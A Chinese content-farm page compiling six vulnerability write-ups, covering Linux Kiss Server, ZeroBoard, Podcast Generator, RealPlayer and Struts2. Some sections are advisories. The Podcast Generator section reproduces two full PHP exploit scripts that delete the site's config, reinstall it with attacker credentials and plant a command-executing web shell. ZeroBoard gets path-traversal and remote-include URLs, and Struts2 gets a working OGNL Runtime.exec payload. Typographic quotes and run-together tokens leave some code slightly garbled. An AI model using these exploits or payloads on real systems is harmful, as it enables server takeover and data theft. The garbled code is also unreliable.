Linux Kiss Server lks.c文件多个格式串处理漏洞

时间:2023-05-30 08:17:07 其他范文 收藏本文 下载本文

Linux Kiss Server lks.c文件多个格式串处理漏洞(精选6篇)由网友“马猴烧酒悠咖子”投稿提供,下面是小编为大家整理后的Linux Kiss Server lks.c文件多个格式串处理漏洞,欢迎大家借鉴与参考,希望对大家有所帮助。

Linux Kiss Server lks.c文件多个格式串处理漏洞

篇1:Linux Kiss Server lks.c文件多个格式串处理漏洞

受影响系统: Tomas Brandysky Linux Kiss Server 1.2 描述: Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行, 以前台模式运行的Linux Kiss Server的lks.c文件中的log_message函数存在格式串处理漏洞,允许攻击者获得

受影响系统:

Tomas Brandysky Linux Kiss Server 1.2 描述:

Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行。 以前台模式运行的Linux Kiss Server的lks.c文件中的log_message()函数存在格式串处理漏洞,允许攻击者获得非授权访问。 以下为漏洞代码: Function log_message():

if(background_mode == 0)

{

if(type == ’l’)

fprintf(stdout,log_msg); if(type == ’e’)

fprintf(stderr,log_msg);

free(log_msg);

}

Function kiss_parse_cmd():

/* check full command name */

if (strncmp(cmd, buf, cmd_len))

{

asprintf(&log_msg,“unknow command: `%s’”, buf);

log_message(log_msg,’e’);

goto error;

}

buf = cmd_len; 因此如果在buf输入类似于%n%n%n的字符串的话,就可以触发这个漏洞,

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: freshmeat.net/projects/lks/

篇2:Linux Kiss Server多个格式串处理漏洞

受影响系统:Tomas Brandysky Linux Kiss Server 1.2描述:--------------------------------------------------------------------------------BUGTRAQ ID: 28099Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行,

受影响系统:

Tomas Brandysky Linux Kiss Server 1.2

描述:

--------------------------------------------------------------------------------

BUGTRAQ ID: 28099

Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行。

以前台模式运行的Linux Kiss Server的lks.c文件中的log_message()函数存在格式串处理漏洞,允许攻击者获得非授权访问。

以下为漏洞代码:

Function log_message():

if(background_mode == 0)

{

if(type == 'l')

fprintf(stdout,log_msg);

if(type == 'e')

fprintf(stderr,log_msg);

free(log_msg);

}

Function kiss_parse_cmd():

/* check full command name */

if (strncmp(cmd, buf, cmd_len))

{

asprintf(&log_msg,“unknow command: `%s'”, buf);

log_message(log_msg,'e');

goto error;

}

buf = cmd_len;

因此如果在buf输入类似于%n%n%n的字符串的话,就可以触发这个漏洞,

<*来源:Vashnukad (vashnukad@vashnukad.com)

链接:secunia.com/advisories/29219/

lists.grok.org.uk/pipermail/full-disclosure/-March/060550.html

*>

建议:

--------------------------------------------------------------------------------

厂商补丁:

Tomas Brandysky

---------------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

freshmeat.net/projects/lks/

篇3:ZeroBoard多个漏洞

本文作者: 剑心[B.C.]

发布日期:.1.13

漏洞概述:

ZeroBoard是一款在Korea使用广泛的用于web论坛程序,最近在ZeroBoard中发现了多个漏洞,这些漏洞允许一些服务器上敏感信息被泄露,或者导致任意的Php脚本文件被包含并且执行。

漏洞发现:由SSR小组提供漏洞信息。

漏洞细节:

1)文件泄露漏洞

利用这个漏洞需要的系统环境:

Php.ini中以下内容必须这样设置:magic_quotes_gpc = off(注意:outlogin.php只有在Php 5.x下运行时才存在漏洞。)

漏洞描述:

当magic_quotes_gpc设置为off时,Php将丢弃含有NULL空字符的输入变量。

可以在_head.php中找到以下的漏洞代码:

if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“”;

include $_zb_path.“lib.php”;}

也可以在include/write.php中发现以下的漏洞代码:

if(eregi(“:\/\/”,$dir)) $dir=“.”;

include $dir.“/write.php”;

还有outlogin.php中的漏洞代码:

if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“./”;

[snip]

@include $_zb_path.“_head.php”;

漏洞证明:

以下的任何一个URL将触发这个漏洞。

[victim]/_head.php?_zb_path=../../../../../etc/passwd%00

[victim]/include/write.php?dir=../../../../../etc/passwd%00

[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00

2)Php原代码注射漏洞

所需的系统环境:

Php.ini中以下内容必须这样设置:: register_globals = On and/or allow_url_fopen = On.

漏洞描述:

在print_category.php中使用的$dir变量没有初始化,于是允许远程攻击者包含任意处于其他服务器上的文件,

漏洞证明:

以下的任何一个URL将触发这个漏洞。

[victim]/include/print_category.php?setup[use_category]=1&dir=[attacker]/

[victim]/skin/zero_vote/login.php? dir=[attacker]/

[victim]/skin/zero_vote/setup.php? dir=[attacker]/

[victim]/skin/zero_vote/ask_password.php? dir=[attacker]/

[victim]/skin/zero_vote/error.php? dir=[attacker]/

在include/print_category.php中发现的漏洞代码:

在skin/zero_vote/login.php, skin/zero_vote/setup.php与/zero_vote/setup.php中发现的漏洞代码:

非正式补丁:

在没有官方正式补丁的情况下我们建议你按照以下建议修改原文件:

ZeroBoard 版本4.1pl5

修改_head.php的13行如下:

if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“”;

修改include/write.php的16行如下:

if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;

修改outlogin.php的50行如下:

if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“./”;

将以下的代码插入到include/print_category.php的第3行:

if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;

修改skin/zero_vote/login.php的第1行,skin/zero_vote/setup.php的42行,skin/zero_vote/ask_password.php的第1行,skin/zero_vote/error.php的第1行如下:

“$dir/value.php3”; ?>

篇4:Podcast Generator多个模块文件包含和任意文件删除漏洞

影响版本:

Podcast Generator 1.2

程序介绍:

Podcast Generator是用PHP编写的免费播客发布脚本,

漏洞分析:

Podcast Generator的core/archive_cat.php、core/admin/itunescategories.php和core /admin/login.php页面没有正确地过滤对GLOBALS[absoluteurl]参数所传送的输入,core/themes.php页面没有正确地过滤对GLOBALS[theme_path]参数所传送的输入,这可能用于包含本地或外部资源的任意文件;此外core/admin /delete.php页面没有正确地过滤对file和ext“参数所传送的输入,可能导致删除任意文件。成功利用这些漏洞要求打开了 register_globals。

漏洞利用:

#

# Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit

#

# by staker

# --------------------------------------

# mail: staker[at]hotmail[dot]it

# url: podcastgen.sourceforge.net

# --------------------------------------

#

# it works with register_globals=on

#

# short explanation:

#

# ----------------------------------------

# Podcast Generator contains one flaw that

# allows an attacker to re-install the cms

# because of unlink in'delete.php'file

# ----------------------------------------

# Look at'/core/admin/delete.php'

# (removed author's comments)

/*

if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path']))

{  exit; } <-------- {1}

if ($amilogged != ”true“) { exit; } <-------{2}

if (isset($_GET['file']) AND $_GET['file']!=NULL) {

$file = $_GET['file'];

$ext = $_GET['ext'];

if (file_exists(”$absoluteurl$upload_dir$file.$ext“)) {

unlink (”$upload_dir$file.$ext“); <--------{3}

$PG_mainbody .=”

$file.$ext$L_deleted

“;

}

*/

#

# Explanation (code snippet above [points])

# -----------------------------------------------------------------------------------

# 1. blocks all'amilogged'REQUEST variables,what about GLOBALS?,therefore useless!

# 2.if'amilogged'isn't true ->exit()functionactivated.

# 3. unlink()deletean existing file.

# -----------------------------------------------------------------------------------

#

# It's possible to delete 'config.php' to re-install the cms. we need 'amilogged'

# set to true. We candoit using a GLOBALS variable.

#

# admin/core/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php

#

# Various:

# --------------------------------------------------

# They didn't help me but i want to give a thanks to

# girex,skerno,Chaomel,XaDoS,Dante90andGianluka_95

# --------------------------------------------------

# Today is: 02 June .

# Location: Italy,Turin.

# www. .com/watch?v=dBc7mK5iAH0

# --------------------------------------------------

error_reporting(E_STRICT ^ E_WARNING);

if($argc< 2) start_usage();

$host=$argv[1];

$path=$argv[2];

re_install();

functionsend_request($data)

{

global$host;

if(!$sock= @fsockopen($host,80)) {

die(”connection refused..\n“);

}

if(isset($data)) {

fputs($sock,$data);

}

while(!feof($sock)) {$result.=fgets($sock); }

fclose($sock);

return$result;

}

functionremove_config()

{

global$host,$path;

$in_lex=”/{$path}/core/admin/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php“;

$config=”GET {$in_lex} HTTP/1.1\r\n“;

$config.=”User-Agent: Lynx (textmode)\r\n“;

$config.=”Host: {$host}\r\n“;

$config.=”Connection: close\r\n\r\n“;

$lol= send_request($config);

if(check_config() != FALSE) {

die(”register_globals=off, exploit failed!\n“);

}

else{

returntrue;

}

}

functionre_install()

{

global$host,$path;

$binary=”username=staker&password=killingyourself&password2=killingyourself&setuplanguage=en“;

$config=”POST {$path}/setup/index.php?step=5 HTTP/1.1\r\n“;

$config.=”User-Agent: Lynx (textmode)\r\n“;

$config.=”Host: {$host}\r\n“;

$config.=”Content-Type: application/x-www-form-urlencoded\r\n“;

$config.=”Content-Length: “.strlen($binary).”\r\n“;

$config.=”Connection: close\r\n\r\n“;

$config.=$binary;

remove_config();

$content= send_request($config);

if(eregi('Creation of the configuration file',$content)) {

echo”[ re-installed successful\n“;

echo”[ username: staker\n[ password: killingyourself\n“;exit(0);

}

else{

die(”Exploit failed\n“);

}

}

functioncheck_config()

{

global$host,$path;

$config=”GET /{$path}/config.php HTTP/1.1\r\n“;

$config.=”User-Agent: Lynx (textmode)\r\n“;

$config.=”Host: {$host}\r\n“;

$config.=”Connection: close\r\n\r\n“;

$content= send_request($config);

if(ereg('HTTP/1.1 404 Not Found',$content))  {

returnfalse;

}

else{

returntrue;

}

}

functionstart_usage()

{

print”[*--------------------------------------------------------------------------*]\n“.

”[* Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit *]\n“.

”[*--------------------------------------------------------------------------*]\n“.

”[* Usage: php podcast_xpl.php [host] [path]                                 *]\n“.

”[* [host] host -> example: localhost                                        *]\n“.

”[* [path] path -> example: /podcast                                         *]\n“.

”[*--------------------------------------------------------------------------*]\n“;

die();

}

#!/usr/bin/php -q -d short_open_tag=on

echo”

Podcast Generator <= 1.1 Remote Code Execution

Vendor: podcastgen.sourceforge.net

Exploit Author: BlackHawk

Author's Site: itablackhawk.altervista.org

Credits goes to RGodforthe code

Thanks to Marija justforexist :)

“;

if($argc<4) {

echo”

Usage: php“.$argv[0].”host /path/ command

Es: php“.$argv[0].”localhost / dir

“;

die;

}

/*

Bugs explanation:

This app has tons of bugs, but because of his structure lot of them are useless.. but not them all!

Look at 'core/admin/delete.php' (i have omitted the author comments):

---------------------------

if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) { exit; }

if (isset($_GET['file']) AND $_GET['file']!=NULL) {

$file = $_GET['file'];

$ext = $_GET['ext'];

if (file_exists(”$absoluteurl$upload_dir$file.$ext“)) {

unlink (”$upload_dir$file.$ext“);

$PG_mainbody .=”

$file.$ext$L_deleted

“;

}

---------------------------

no check for admin rights, so now we can delete whatever file we want, with any exstension..

so let's delete config.php and make a rfesh new installation with a password set by us!

the RCE is triggered in 'core/admin/scriptconfig.php', line 56:

---------------------------

// recent in home

$recent = $_POST['recent'];

if ($recent != ”“) {

$max_recent = $recent;

}

---------------------------

no sanitize of the input and no quotes added when writting to the config file (so no need mq=off)

BlackHawk 

*/

error_reporting(0);

ini_set(”max_execution_time“,0);

ini_set(”default_socket_timeout“,5);

functionquick_dump($string)

{

$result='';$exa='';$cont=0;

for($i=0;$i<=strlen($string)-1;$i++)

{

if((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=”  .“;}

else

{$result.=”  “.$string[$i];}

if(strlen(dechex(ord($string[$i])))==2)

{$exa.=” “.dechex(ord($string[$i]));}

else

{$exa.=” 0“.dechex(ord($string[$i]));}

$cont++;if($cont==15) {$cont=0;$result.=”\r\n“;$exa.=”\r\n“;}

}

return$exa.”\r\n“.$result;

}

$proxy_regex='(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

functionsendpacketii($packet)

{

global$proxy,$host,$port,$html,$proxy_regex;

if($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if(!$ock) {

echo'No response from '.$host.':'.$port;die;

}

}

else{

$c= preg_match($proxy_regex,$proxy);

if(!$c) {

echo'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo”Connecting to “.$parts[0].”:“.$parts[1].” proxy...\r\n“;

$ock=fsockopen($parts[0],$parts[1]);

if(!$ock) {

echo'No response from proxy...';die;

}

}

fputs($ock,$packet);

if($proxy=='') {

$html='';

while(!feof($ock)) {

$html.=fgets($ock);

}

}

else{

$html='';

while((!feof($ock))or(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

}

$host=$argv[1];

$path=$argv[2];

$cmd=”“;

for($i=3;$i<=$argc-1;$i++){

$cmd.=” “.$argv[$i];

}

$port=80;

$proxy=”“;

if(($path[0]'/')or($path[strlen($path)-1]'/')) {echo'Error... check the path!';die;}

if($proxy=='') {$p=$path;}else{$p=''.$host.':'.$port.$path;}

echo”Step1 - Delete config.inc\r\n“;

$packet=”GET “.$p.”core/admin/delete.php?file=../../config&ext=php HTTP/1.0\r\n“;

$packet.=”Host: “.$host.”\r\n“;

$packet.=”Connection: Close\r\n\r\n“;

sendpacketii($packet);

echo”Step2 - Creating new configuration\r\n“;

$data=”username=new_user_name&password=blackhawk&password2=blackhawk&setuplanguage=en“;

$packet=”POST “.$p.”/setup/index.php?step=5 HTTP/1.0\r\n“;

$packet.=”Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n“;

$packet.=”Accept-Language: it\r\n“;

$packet.=”Content-Type: application/x-www-form-urlencoded\r\n“;

$packet.=”Accept-Encoding: gzip, deflate\r\n“;

$packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n“;

$packet.=”Host: “.$host.”\r\n“;

$packet.=”Content-Length: “.strlen($data).”\r\n“;

$packet.=”Connection: Close\r\n“;

$packet.=”Cache-Control: no-cache\r\n\r\n“;

$packet.=$data;

sendpacketii($packet);

echo”Step3 - Logging in\r\n“;

$data=”user=new_user_name&password=blackhawk“;

$packet=”POST “.$p.”?p=admin HTTP/1.0\r\n“;

$packet.=”Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n“;

$packet.=”Accept-Language: it\r\n“;

$packet.=”Content-Type: application/x-www-form-urlencoded\r\n“;

$packet.=”Accept-Encoding: gzip, deflate\r\n“;

$packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n“;

$packet.=”Host: “.$host.”\r\n“;

$packet.=”Content-Length: “.strlen($data).”\r\n“;

$packet.=”Connection: Close\r\n“;

$packet.=”Cache-Control: no-cache\r\n\r\n“;

$packet.=$data;

sendpacketii($packet);

$temp=explode(”Set-Cookie: “,$html);

$temp2=explode(” “,$temp[1]);

$PHPid=$temp2[0];

echo”Step4 - Sending shell\r\n“;

$data=”streaming=yes&fbox=yes&cats=yes&newsinadmin=yes&strictfilename=yes&recent=5; if (isset(\$_GET[cmd])){if(get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}echo 666999;passthru(\$_GET[cmd]);echo 666999;}\$xyz=5&recentinfeed=All&selectdateformat=d-m-Y&scriptlanguage=en“;

$packet=”POST “.$p.”?do=config&p=admin&action=change HTTP/1.0\r\n“;

$packet.=”Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n“;

$packet.=”Accept-Language: it\r\n“;

$packet.=”Content-Type: application/x-www-form-urlencoded\r\n“;

$packet.=”Accept-Encoding: gzip, deflate\r\n“;

$packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n“;

$packet.=”Host: “.$host.”\r\n“;

$packet.=”Cookie: $PHPid\r\n“;

$packet.=”Content-Length: “.strlen($data).”\r\n“;

$packet.=”Connection: Close\r\n“;

$packet.=”Cache-Control: no-cache\r\n\r\n“;

$packet.=$data;

sendpacketii($packet);

echo”Step5 - Executing Command\r\n\r\n“;

$packet=”GET “.$p.”config.php?cmd=dir HTTP/1.0\r\n“;

$packet.=”Host: “.$host.”\r\n“;

$packet.=”Connection: Close\r\n\r\n“;

$packet.=$data;

sendpacketii($packet);

if(strstr($html,”666999“))

{

echo”Exploit succeeded...\r\n“;

$temp=explode(”666999“,$html);

die(”\r\n“.$temp[1].”\r\n“);

}

?>

解决方案:

厂商补丁:

Alberto Betella

---------------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

podcastgen.sourceforge.net/download.php?lang=en

信息来源:

<*来源:BlackHawk

链接:secunia.com/advisories/35333/

milw0rm.com/exploits/8860

*>

篇5:RealPlayer IVR文件解析多个代码执行漏洞

RealPlayer11的IVR文件处理例程中存在多个安全漏洞,如果攻击者更改了IVR文件中用于确定结构长度的字段的话,就可以触发堆溢出;如果在IVR文件中设置了超长的文件名长度值的话,就会向任意内存地址写入一个空字节。

受影响系统:

Real Networks RealPlayer 11

描述:

BUGTRAQ ID: 33652

CVE(CAN) ID: CVE-2009-0375,CVE-2009-0376

RealPlayer是一款流行的多媒体播放器,

RealPlayer11的IVR文件处理例程中存在多个安全漏洞。如果攻击者更改了IVR文件中用于确定结构长度的字段的话,就可以触发堆溢出;如果在IVR文件中设置了超长的文件名长度值的话,就会向任意内存地址写入一个空字节。

该漏洞存在于一个可用作Windows资源管理器shell插件的DLL上,因此不需要用户打开恶意媒体文件就可以触发上述漏洞。只要用户通过资源管理器预览了IVR文件,就可能导致执行任意代码。

厂商补丁:

目前Real Networks还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.real.com

篇6:Struts2多个漏洞简要分析

1月份,SEC Cousult发布了一篇关于struts2漏洞的文章,写到4个struts2的最新漏洞,一个漏洞可以做远程代码执行,一个漏洞引出了新的远程代码执行,一个漏洞曾经我在blog上发布过(没有投CVE),以及一个之前也曾看到过,但是认为是鸡肋的漏洞。

这篇文章题目叫做

《Multiple critical vulnerabilities in Apache Struts2》

四个漏洞,本文一个一个的讲一讲它们的前世今生。

Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)

新的远程代码执行漏洞,已经分析过它的利用和分析文章,具体地址在

/Article/201201/116282.html

这里就不再多讲,我猜想或许就是因为这个漏洞被人爆了出来,才引出了老外发的这篇文章。

Remote command execution in Struts <= 2.3.1 (CookieInterceptor)

COOKIE 的远程代码执行,这看起来表面上很嚣张的样子,但其实较少用到,至少默认是不用的,必须要开发人员手工配置某个action才可以攻击,注意是一个单独的action,不懂这个的可以理解为URL。攻击者可能不知道是具体哪个action启用了这个配置,这会导致增加了漏洞发现的难度。也许攻击者要扫描所有的action,才能碰巧遇到一个做这样配置的地方。根据作者的经验,也许攻击者要扫描很多STRUTS2应用,才能遇到一个用到这个技术的应用。

下面的代码是示例:

*

*

/T1.jsp

可以看到,这是一个只针对testCookie这个action的配置。

由于CookieInterceptor在处理cookiesName时,会遍历cookiesMap,把cookie中的每个key和value做如下:

stack.setValue(cookieName, cookieValue);

这样的OGNL赋值处理。可以看到,cookiename将会作为一个ognl表达式执行。cookiename刚好是用户提交来的,所以触发了漏洞。通常应用程序都会指定一个cookiename,只接受指定cookiename,这样做是不存在漏洞的。但是如果真的有开发,把它配置为“*”号,这样就允许接受所有的cookiename,也就存在漏洞了。

除此之外,一个不可忽视的限制,是tomcat等服务器是默认不允许很多非主流符号,这导致这种攻击,在tomcat服务器下,无法进行,这个问题暂时没有发现绕过的方式。

相关代码如下,给各位喜欢bypass的同学做参考:

//以下为cookieName中不允许的字符

public static final char SEPARATORS[] = { '\t', ' ', '\”', '(', ')', ',', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '{', '}' };

总之很少用到,意味着很鸡肋,不是我们想象中的,只要有COOKIE就默认处理。即使开发人员需要处理cookie,也不见得会使用这个东西,在以往所接触到的项目中,从来没有见过这种配置方法。

还有更有趣的地方,这肯定是个彩蛋,struts给出的官方修补方案,居然犯了一个错误。首先看看官方公告:

struts.apache.org/2.x/docs/s2-008.html

特意抓个图证明。

解决方案是这样讲的:

Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter to the ParameterInterceptor and CookieInterceptor:

acceptedParamNames = “[a-zA-Z0-9\.][()_']+”;

修补这个漏洞只需要在CookieInterceptor这个 代码中,加入一个白名单列表,注意这个列表中,是有“小括号”符号的(小括号的作用,可以见本文下一个小节)。还好struts在真正实现的代码中,并没有这样做,而是把小括号也去掉了,否则这又是一个bypass,后面的内容会详细讲解有没有小括号的区别。

Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)

这个漏洞,讲的是因为没有过滤小括号而导致的问题,其实我的blog比他先爆出来,只是在利用方式上,并没有想到使用

java.io.FileWriter

去写个空的文件出来,覆盖原本的文件内容。

我的blog曾经发的一篇,目的是DOS攻击,结合java一些版本的漏洞,new出来一个浮点型的变量,具体漏洞细节见以下文章。

《Struts 2.2.3 DOS漏洞》

当时没有报告CVE,所以大家可能不知道。当然,我承认他们利用的比我精彩。

这个漏洞的精彩点,其实并不在谁先发现的,也不在于谁利用的更好,重点是这个团队在使用这个漏洞时,发出来一个OGNL语法小技巧。这个小小的技巧,刚好让一个大牛看到了,于是引出了一个不亚于当年秒杀所有struts框架的漏洞。

我相信,很多人都和我一样,垂首顿足的在讲:“擦!我怎么没想到”,当然,他们可能说的是英文版。

这个技巧先不讲,也就是小括号的事情,等下一个漏洞再讲,

Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)

看到这个漏洞,我真的无语了,老外这是鸡肋的超神了。一点实用价值都没有的漏洞,事实上,我在看代码时,一看到struts代码中出现:

If (devMode) XXXXX

就自觉跳过了。

原因是我认为没有人会傻到把debug默认开到公网上去,而struts官方也鄙视了一下这个漏洞:

While not being a security vulnerability itself……balabala…

开启debug模式,意味着速度超级慢,意味着大批的无意义的log文件输出。所以,这个漏洞没什么可讲的,已经鸡肋到基本上你不会见到了。

它的具体成因,是当一个开发人员实在笨到啥都要问元芳的地步,以至于在线上开启debug模式后,struts2会有一个专门的 ,用于处理特殊的参数,当这个 接收ognl命令时,可以直接执行,方便开发人员做调试。确切的说,这并不是漏洞,而是struts2专门给开发人员的调试模式。

从 技术的角度上讲,总会有开发人员这么做,所以不该放过,POC大家可以留着,好消息是官方不准备出补丁,只是轻轻的鄙视了一下这么做的开发人员。

CVE-2011-3923: Yet another Struts2 Remote Code Execution

前文两次提到这个漏洞,这是最新的BYPASS,这个漏洞的发布者看到了上文所述的“Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)”漏洞的利用技巧,突然来了灵感,才有了这篇bypass。这个老外真的很实诚,发现漏洞,立刻就爆出来了,都没有在手里捂热了。

原文地址在

blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html

bypass的原理是利用了ognl的执行顺序。

假设有ognl语句如下:

(表达式1)(表达式2)

这样的语句,ognl会首先执行“表达式1”,假设得出结果为“12345”,后续流程,会把“12345”作为一个表达式再次执行。

看看这次新给出的exp

/myaction?foo=(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(foo)('meh')]=true

有很多人看不懂这个POC,就来问过我,为什么这样的都没有拦截?struts2不是已经做了拦截么?

我的回答是,请大家看清楚了,以前的拦截是针对参数名称的,而这个POC的参数名称有“#”号么?答案是木有。

根据原理,我们可以首先定义表达式1的值,是一个ognl表达式,就像exp中的第一个字段:

foo=(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)

这是一个很正常的get参数赋值。就像username=kxlzx一样正常。

在早期的远程代码执行漏洞修补中,会判断参数名称是否安全,而这里的参数名称叫做“foo”,这当然是安全的。

Exp的第二个字段:

&z[(foo)('meh')]=true

这里写的非常复杂,其实还是那个原理,foo在第一个字段中,已经被赋值了,这里直接使用foo的值,作为新的表达式,再次执行掉了。

对于这个exp,只有一个要求,就是exp对应的myaction中,必须有定义一个string类型的字段:

private String foo;

public void setFoo(String foo) {

this.foo = foo;

}

public String getFoo() {

return foo;

}

只要这是个string类型的字段就可以的,也许并不叫foo,叫做username等,总之必须是string类型的一个字段。要找到这样的一个action非常容易,必须用户注册啊,用户登录啊,必然会有的。

如果找到了叫做username的字段,这个exp就要变为:

/myaction?username=(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(username)('meh')]=true

既然说到这里,就不得不插一句,这篇文章,其实是我在很久之前,老外刚发出来没多久就写成的,但是很遗憾,直到我去xcon2012演讲都没有发出来。而我在xcon2012演讲的内容,刚好就包括了这个限制的绕过,所以强烈推荐大家可以去看看那篇文章。

《Xcon2012 攻击JAVA WEB议题下载》

从效果来看,这个漏洞已经无限接近了2010年爆出的那个漏洞了,并且这个漏洞,不像以前的那个因为出了利用工具,所以在国内炒的很厉害,这个知道的人,可能不多呢。

Wooyun上那些曾经发生过struts2漏洞的网站,现在打了补丁,但是真的是最新的么?打了补丁之后,有再次更新么?

有朋友讲过一句话,struts就是一个筛子,我表示认可。

网络入侵检测方法

教你怎样学会SQL注 入

确保PHP应用程序的安全[2]WEB安全

如何让Windows 系统更安全

让你的Windows 更安全

url是什么意思?URL详细介绍

邮件群发范文

linux当mysql以root权限登录时提权网站安全

关于木马隐藏的一个新方法

唯品会php面试题

Linux Kiss Server lks.c文件多个格式串处理漏洞
《Linux Kiss Server lks.c文件多个格式串处理漏洞.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【Linux Kiss Server lks.c文件多个格式串处理漏洞(精选6篇)】相关文章:

php 面试题2022-06-12

网络安全防护方案2022-12-18

教你手工清除安哥变种2023-01-05

WIN技巧:ExchangeOutlookWebAccess疑难解答2022-08-16

英语发邮件的格式范文2023-05-31

java面试题及答案2023-12-27

英文发邮件的格式范文2022-06-03

手机报告2023-06-13

辞职报告可以发邮件吗2023-04-11

seo面试题与答案2023-02-15